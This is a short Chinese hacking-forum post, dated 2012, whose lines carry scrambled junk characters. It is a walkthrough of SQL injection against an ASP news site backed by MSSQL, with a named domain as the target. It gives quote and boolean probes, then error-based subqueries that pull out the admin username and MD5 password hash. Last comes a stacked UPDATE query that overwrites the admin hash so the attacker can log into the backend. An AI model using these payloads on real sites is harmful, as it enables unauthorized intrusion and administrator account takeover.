经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。: x7 L5 ?1 ?" M4 {6 |
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
: Y5 n, l6 X4 F8 j4 ^# g6 s测试如下：
/ X7 S- g2 e/ v) Q( `http://www.tmdsb.com/news.asp?id=121* y" w1 C8 w4 q" G; f+ d
在地址后输入单引号，显示
! c( M- W, A! l0 Q5 q( JMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’. a1 k' G' W& ?
字符串 ’’’ 之前有未闭合的引号- L' ^9 \+ o4 j
/news/tmdws.asp，行63% Q# i: ]* R5 Q* j# R, t) I- ~7 G
说明没有过滤单引号且数据库是MSSQL.; z( j/ H6 ?4 _& A
and 1=1正常。and 1=2出错。肯定存在注入2 z s& ]: i' T
接着输入
7 }- I8 k+ o* `, C# A* Chttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)/ } R7 t2 k. [" c \; N
得到帐号为:admin
# v/ r3 ]/ g4 H6 r6 X- ~0 e( I3 Xhttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
5 o y3 H2 j3 j# f( @得到密码为:a4716077c2ba075c3 n9 v1 F* u' M7 w
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f294334 t; r6 d1 B2 C S6 W3 V
命令如下 :
7 |3 r& z/ V4 A4 P: ^/ J1 @;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–$ @9 G5 E& z7 D1 n4 v1 X3 [
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41